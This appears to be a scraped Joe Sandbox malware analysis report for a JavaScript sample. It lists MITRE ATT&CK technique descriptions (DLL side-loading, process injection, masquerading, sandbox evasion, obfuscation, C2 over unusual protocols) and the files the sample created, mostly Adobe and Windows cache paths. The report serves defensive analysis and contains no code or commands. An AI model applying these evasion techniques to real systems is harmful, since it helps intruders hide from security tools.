Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 42173378525889.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c3cbf65e-5fda-46da-b81f-2d0a28b22960.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3036

Windows Analysis Report
42173378525889.js